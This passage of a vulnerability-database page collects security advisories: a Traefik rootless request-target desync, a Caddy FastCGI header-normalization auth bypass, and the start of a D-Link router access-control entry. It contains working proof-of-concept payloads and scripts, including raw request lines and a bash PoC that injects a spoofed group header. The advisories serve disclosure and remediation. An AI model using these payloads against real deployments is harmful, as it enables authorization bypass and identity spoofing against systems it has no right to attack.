(2.01s)\n```\n\n**Conclusion:** REPRODUCED. Traefik routes on `Path=\"/\"` and `Host=\"app.example.com\"`; the backend receives `Host=\"internal-vhost\"` and `Path=\"/admin\"`. The `%2f` bytes survive to the backend\u0027s `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go\u0027s `Request.Host` derivation but visible to the wire writer, that desyncs.\n\n### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend\n\nTopology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`.\n\n**B1. Cross-vhost + log evasion (stock defaults):**\n```\n=== request-target sent: \u0027/\u0027\nPUBLIC-VHOST uri=/ host=app.example.com\n\n=== request-target sent: \u0027http:http://internal-vhost/admin\u0027\nINTERNAL-VHOST-SECRET uri=/admin host=internal-vhost\n\n=== request-target sent: \u0027http:http://internal-vhost/admin%2f..%2fsecret\u0027\nINTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost\n```\nTraefik access log for those same three requests:\n```\n\"GET / HTTP/1.1\" 200 40 ... \"app@file\" \"http://poc-nginx:80\" 3ms\n\"GET / HTTP/1.1\" 200 53 ... \"app@file\" \"http://poc-nginx:80\" 0ms\n\"GET / HTTP/1.1\" 200 67 ... \"app@file\" \"http://poc-nginx:80\" 0ms\n```\n\n**B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`):\n```\n=== request-target sent: \u0027/admin%2f..%2fsecret\u0027\nHTTP/1.1 400 Bad Request                       \u003c- canonical path: protection fires\n\n=== request-target sent: \u0027http:http://internal-vhost/admin%2f..%2fsecret\u0027\nHTTP/1.1 200 OK\nINTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost   \u003c- same payload, protection never fires\n```\n\n**B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`):\n```\n=== request-target sent: \u0027/admin\u0027                          -\u003e 403 DENY\n=== request-target sent: \u0027http:/admin\u0027                     -\u003e 403 DENY\n=== request-target sent: \u0027http:http://internal-vhost/admin\u0027-\u003e 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost\n```\nAuth-service log confirms the decision flip: `403`, `403`, `200`.\n\n**Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.\n\n### Documentation grounding\n\nGoverning page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**\n\n_(truncated ; full analysis in the linked internal report)_\n\n## Reproduction (J18, F20)\n\nThree Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run.\n\n**Probe 1 \u2014 routing desync and verbatim forward.** Real entry point chain (`denyFragment` -\u003e `normalizePath` -\u003e `sanitizePath` -\u003e `requestdecorator` -\u003e `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket.\n\n```\ncd /Users/emile/go/src/github.com/traefik/traefik\ngo test -run TestJ18RootlessRequestTarget ./pkg/server/ -v\n```\n\n```\n=== RUN   TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1\n    --\u003e raw request line: \"GET http:admin/secret HTTP/1.1\"\n    in-Traefik state: URL.Opaque=\"admin/secret\" URL.Path=\"/\" URL.RawPath=\"\" RequestURI=\"admin/secret\" EscapedPath=\"/\"\n    \u003c-- routers matched: [router-app(NO AUTH)]\n    \u003c-- response: \"HTTP/1.1 200 OK\\r\"\n    \u003c-- backend request lines seen so far: [\"GET admin/secret HTTP/1.1\\r\\n\"]\n=== RUN   TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1\n    in-Traefik state: URL.Opaque=\"admin%2Fsecret\" URL.Path=\"/\" URL.RawPath=\"\" RequestURI=\"admin%2Fsecret\" EscapedPath=\"/\"\n    \u003c-- routers matched: [router-app(NO AUTH)]\n    \u003c-- backend request lines seen so far: [... \"GET admin%2Fsecret HTTP/1.1\\r\\n\"]\n=== RUN   TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1      (control)\n    \u003c-- routers matched: [router-admin(AUTH)]\n    \u003c-- response: \"HTTP/1.1 401 Unauthorized\\r\"\nPASS\n```\n\nThe control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker\u0027s bytes, including the `%2F` that an `encodedCharacters` filter would have rejected.\n\n**Probe 2 \u2014 origin tolerance.** Which origins actually resolve a rootless request-target.\n\n```\ngo test -run TestJ18BackendTolerance ./pkg/server/ -v     # Go net/http + fasthttp v1.69.0\ndocker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine\ndocker run -d --rm -p 18120:3000 node:alpine node -e \"require(\u0027http\u0027).createServer(...)\"\ndocker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000\ndocker run -d --rm -p 18122:8080 tomcat:9.0.120\nprintf \u0027GET admin/secret HTTP/1.1\\r\\nHost: app.example.com\\r\\nConnection: close\\r\\n\\r\\n\u0027 | nc -w 3 127.0.0.1 \u003cport\u003e\n```\n\n| Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) |\n|---|---|---|\n| Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path=\"/admin/secret\"` |\n| nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |\n| httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |\n| Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` |\n| Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) |\n| Python `http.server` | accepted (404, no 400) | 404 |\n| **fasthttp v1.69.0** | **`200 OK`, `Path=\"/admin/secret\"`** | 200, `Path=\"/admin/secret\"` |\n\nfasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path=\"/admin/secret\"`, `RequestURI=\"admin%2Fsecret\"`.\n\n**Probe 3 \u2014 end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`.\n\n```\ngo test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v\n```\n\n```\n\"GET /admin/secret HTTP/1.1\"       =\u003e 401 basicAuth required\n\"GET http:admin/secret HTTP/1.1\"   =\u003e Server: fasthttp ... ADMIN_PANEL_SECRET\n\"GET http:admin%2Fsecret HTTP/1.1\" =\u003e Server: fasthttp ... ADMIN_PANEL_SECRET\n```\n\nThe bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.\n\n## Second affected site (J18)\n\nThe finding is **mechanically correct and fully reproduced end to end**, including the auth bypass.\n\nA client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go\u0027s `url.ParseRequestURI` into `URL.Opaque = \"admin/secret\"` with an empty `URL.Path` / `URL.RawPath`. Traefik\u0027s entry point chain and muxer never look at `URL.Opaque`:\n\n- `denyFragment` inspects `URL.RawPath` (empty) and passes.\n- `normalizePath` returns early on empty `RawPath`.\n- `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `\"/\"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `\"admin/secret\"`.\n- `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `\"/\"`.\n- Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker\u0027s target verbatim.\n\nResult: Traefik makes its routing and middleware decision on one string (`\"/\"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix(\"/\")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.\n\nWhere the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python\u0027s `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here.\n\n## Documentation grounding\n\nGoverning page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**\n\nThe page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing.\n\nThis lands squarely in Step 2e\u0027s **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed.\n\n## Precedent in comparable projects\n\nSearched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`.\n\n| Product | ID | Severity | Framing | Fix shape |\n|---|---|---|---|---|\n| Caddy | CVE-2026-27587 | HIGH | `MatchPath`\u0027s `%xx` (escaped-path) branch skips case normalization, so the matcher\u0027s view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. |\n| Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request\u0027s real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. |\n| Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. |\n| Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. |\n| Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy\u0027s routing view diverge from the backend\u0027s. | Add normalization. |\n| Envoy | CVE-2023-27491 | medium | Envoy **forwards invalid HTTP/2 and HTTP/3 downstream headers** to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. |\n| Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. |\n| HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. |\n\n_(truncated ; full analysis in the linked internal report)_\n\n## Recommended fix\n\n**Assign for fix, and treat as CVE-worthy.**\n\n1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In `pkg/proxy/httputil/proxy.go`, next to the Path/RawPath assignments:\n   ```go\n   pr.Out.URL.Opaque = \"\"\n   ```\n   and in `pkg/proxy/fast/proxy.go`, on the `u2 := *req.URL` copy before `outReq.SetRequestURI(u2.RequestURI())`. This alone closes the forwarding half.\n2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-`CONNECT` requests, require `req.URL.Opaque == \"\"` and an `EscapedPath()` beginning with `/`, or normalize the true `absolute-form` case by promoting the authority into `req.Host`. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, `sanitizePath` still rewrites `RequestURI` to the attacker\u0027s authority-bearing form and the access log still records `/`.\n3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point.\n4. Consider reporting the `ReverseProxy` omission upstream to Go as well, since `NewSingleHostReverseProxy` has the same gap, but do not make the Traefik fix wait on it.\n5. If filed as an advisory, use cluster slug `opaque-request-target-forwarding` and note that the fix must land on the fast proxy in the same PR.\n\n## Provenance\n\nFound by an external automated code scan (`CLAUDE-SECURITY-20260824-122205`) of `pkg/middlewares`, `pkg/proxy`, `pkg/server`, `pkg/muxer` and `pkg/tls` on branch `v3.7` at commit `d5072ce7b8765c9574246072e05dd81d84950da7`, then triaged with the `advisory-check` process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.\n\nTriage outcome : **Likely Valid**, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.\n\nScanner finding ids : F4, F20. Internal report : `findings/scan-20260824/verdicts/J04.md, J18.md` in the security-advisor repository.\n\n\u003c/details\u003e\n---",
  "id": "GHSA-f52w-8j3h-j724",
  "modified": "2026-09-10T23:03:53Z",
  "published": "2026-09-10T23:03:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-f52w-8j3h-j724"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88009"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/58d1e9ca204526823211e30fd4634101c59d58e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Rootless HTTP/1 request-target routes as \"/\" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging"
}

GHSA-F59H-Q822-G45G

Vulnerability from github – Published: 2026-06-16 21:28 – Updated: 2026-07-20 21:02
VLAI
Summary
Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
Details

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

  • modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
  • modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

  • modules/caddyhttp/headers/headers.go:255
  • modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
    "fmt"
    "log"
    "net"
    "net/http"
    "net/http/fcgi"
)

func main() {
    go func() {
        mux := http.NewServeMux()
        mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
            w.Header().Set("Remote-User", "alice")
            w.WriteHeader(http.StatusNoContent)
        })
        log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
    }()

    ln, err := net.Listen("tcp", "127.0.0.1:19010")
    if err != nil {
        log.Fatal(err)
    }
    log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
            r.Header.Get("Remote-User"),
            r.Header.Get("Remote-Groups"))
    })))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
    admin off
    auto_https off
    debug
}

:9082 {
    log
    root * $tmpdir/www
    forward_auth 127.0.0.1:19011 {
        uri /auth
        copy_headers Remote-User Remote-Groups
    }
    php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
    kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
    if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
       (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
        break
    fi
    sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
    if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
        break
    fi
    sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

  • forward_auth with copy_headers for identity or authorization headers;
  • php_fastcgi / FastCGI after the auth check;
  • a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

  • deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
  • probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T21:28:28Z",
    "nvd_published_at": "2026-06-23T18:18:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`forward_auth copy_headers` deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through `php_fastcgi`, Caddy normalizes HTTP headers into CGI variables by replacing `-` with `_`.\n\nThis lets a client send an underscore alias that survives the `forward_auth` delete step but becomes the same PHP/FastCGI variable:\n\n```text\nRemote-Groups  -\u003e HTTP_REMOTE_GROUPS\nRemote_Groups  -\u003e HTTP_REMOTE_GROUPS\n\nRemote-User    -\u003e HTTP_REMOTE_USER\nRemote_User    -\u003e HTTP_REMOTE_USER\n```\n\nResult: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.\n\n### Details\n\n`forward_auth copy_headers` intentionally removes client-controlled headers before setting values from the auth response:\n\n- `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212`\n- `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222`\n\nThat delete is exact-field deletion through `http.Header.Del()`:\n\n- `modules/caddyhttp/headers/headers.go:255`\n- `modules/caddyhttp/headers/headers.go:281`\n\nSo deleting `Remote-Groups` does not delete `Remote_Groups`.\n\nLater, FastCGI exports all request headers into CGI variables:\n\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410`\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414`\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510`\n\nThe normalizer replaces hyphens with underscores:\n\n```go\nstrings.NewReplacer(\" \", \"_\", \"-\", \"_\")\n```\n\nSo the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.\n\nThis is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy\u0027s FastCGI export.\n\n### PoC\n\nRun from the Caddy repository root with `bash`:\n\n```bash\nset -euo pipefail\n\ntmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)\nmkdir -p \"$tmpdir/www\"\nprintf \u0027\u003c?php echo \"ok\"; ?\u003e\\n\u0027 \u003e \"$tmpdir/www/index.php\"\n\ncat \u003e \"$tmpdir/servers.go\" \u003c\u003c\u0027GO\u0027\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/fcgi\"\n)\n\nfunc main() {\n\tgo func() {\n\t\tmux := http.NewServeMux()\n\t\tmux.HandleFunc(\"/auth\", func(w http.ResponseWriter, r *http.Request) {\n\t\t\tw.Header().Set(\"Remote-User\", \"alice\")\n\t\t\tw.WriteHeader(http.StatusNoContent)\n\t\t})\n\t\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:19011\", mux))\n\t}()\n\n\tln, err := net.Listen(\"tcp\", \"127.0.0.1:19010\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Fprintf(w, \"HTTP_REMOTE_USER=%s\\nHTTP_REMOTE_GROUPS=%s\\n\",\n\t\t\tr.Header.Get(\"Remote-User\"),\n\t\t\tr.Header.Get(\"Remote-Groups\"))\n\t})))\n}\nGO\n\ncat \u003e \"$tmpdir/Caddyfile\" \u003c\u003cEOF\n{\n\tadmin off\n\tauto_https off\n\tdebug\n}\n\n:9082 {\n\tlog\n\troot * $tmpdir/www\n\tforward_auth 127.0.0.1:19011 {\n\t\turi /auth\n\t\tcopy_headers Remote-User Remote-Groups\n\t}\n\tphp_fastcgi 127.0.0.1:19010\n}\nEOF\n\ncleanup() {\n\tkill \"${caddy_pid:-}\" \"${servers_pid:-}\" 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\ngo run \"$tmpdir/servers.go\" \u003e\"$tmpdir/servers.log\" 2\u003e\u00261 \u0026\nservers_pid=$!\n\nfor i in $(seq 1 80); do\n\tif (echo \u003e /dev/tcp/127.0.0.1/19011) \u003e/dev/null 2\u003e\u00261 \u0026\u0026\n\t   (echo \u003e /dev/tcp/127.0.0.1/19010) \u003e/dev/null 2\u003e\u00261; then\n\t\tbreak\n\tfi\n\tsleep 0.25\ndone\n\ngo run ./cmd/caddy run --config \"$tmpdir/Caddyfile\" --adapter caddyfile \u003e\"$tmpdir/caddy.log\" 2\u003e\u00261 \u0026\ncaddy_pid=$!\n\nfor i in $(seq 1 80); do\n\tif (echo \u003e /dev/tcp/127.0.0.1/9082) \u003e/dev/null 2\u003e\u00261; then\n\t\tbreak\n\tfi\n\tsleep 0.25\ndone\n\ncurl --noproxy \u0027*\u0027 -v http://127.0.0.1:9082/index.php\ncurl --noproxy \u0027*\u0027 -v -H \u0027Remote_Groups: admin\u0027 http://127.0.0.1:9082/index.php\ncat \"$tmpdir/caddy.log\"\n```\n\nObserved on commit `6c675e29f87cbe7326983ddb6d739175119d394c`:\n\nBaseline:\n\n```text\n\u003e GET /index.php HTTP/1.1\n\u003c HTTP/1.1 200 OK\n\nHTTP_REMOTE_USER=alice\nHTTP_REMOTE_GROUPS=\n```\n\nWith attacker header:\n\n```text\n\u003e GET /index.php HTTP/1.1\n\u003e Remote_Groups: admin\n\u003c HTTP/1.1 200 OK\n\nHTTP_REMOTE_USER=alice\nHTTP_REMOTE_GROUPS=admin\n```\n\nCaddy debug log confirms the FastCGI environment contained:\n\n```text\n\"HTTP_REMOTE_USER\": \"alice\"\n\"HTTP_REMOTE_GROUPS\": \"admin\"\n```\n\nThe auth gateway returned `Remote-User: alice` only. It never returned `Remote-Groups`.\n\n### Impact\n\nThis affects Caddy deployments that use:\n\n- `forward_auth` with `copy_headers` for identity or authorization headers;\n- `php_fastcgi` / FastCGI after the auth check;\n- a PHP/FastCGI application that trusts the resulting `HTTP_*` variables.\n\nImpact examples:\n\n- deterministic group/role injection when the auth gateway omits an optional header, e.g. `Remote_Groups: admin` becomes `HTTP_REMOTE_GROUPS=admin`;\n- probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. `Remote-User` and `Remote_User` both map to `HTTP_REMOTE_USER`.\n\nRealistic examples include trusted-header SSO deployments such as Firefly III `remote_user_guard` using `HTTP_REMOTE_USER`, or MediaWiki `Auth_remoteuser` using `HTTP_X_AUTHENTIK_USERNAME`.\n\n## AI disclosure\n\nThe LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.",
  "id": "GHSA-f59h-q822-g45g",
  "modified": "2026-07-20T21:02:48Z",
  "published": "2026-06-16T21:28:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52845"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-52845"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491907"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`"
}

GHSA-F6J4-CWRP-J9M3

Vulnerability from github – Published: 2022-05-24 17:10 – Updated: 2023-04-26 21:30
VLAI
Details

A Broken Access Control vulnerability in the D-Link DSL-2680 web administration interface (Firmware EU_1.03) allows an attacker to reboot the router by submitting a reboot.html GET request without being authenticated on the admin interface.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-19223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-04T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Broken Access Control vulnerability in the D-Link DSL-2680 web administration interface (Firmware EU_1.03) allows an attacker to reboot the router by submitting a reboot.html GET request without being authenticated on the admin interface.",
  "id": "GHSA-f6j4-cwrp-j9m3",
  "modified": "2023-04-26T21:30:30Z",
  "published": "2022-05-24T17:10:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19223"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0x8b30cc/DSL-2680-Multiple-Vulnerabilities"
    },
    {
      "type": "WEB",
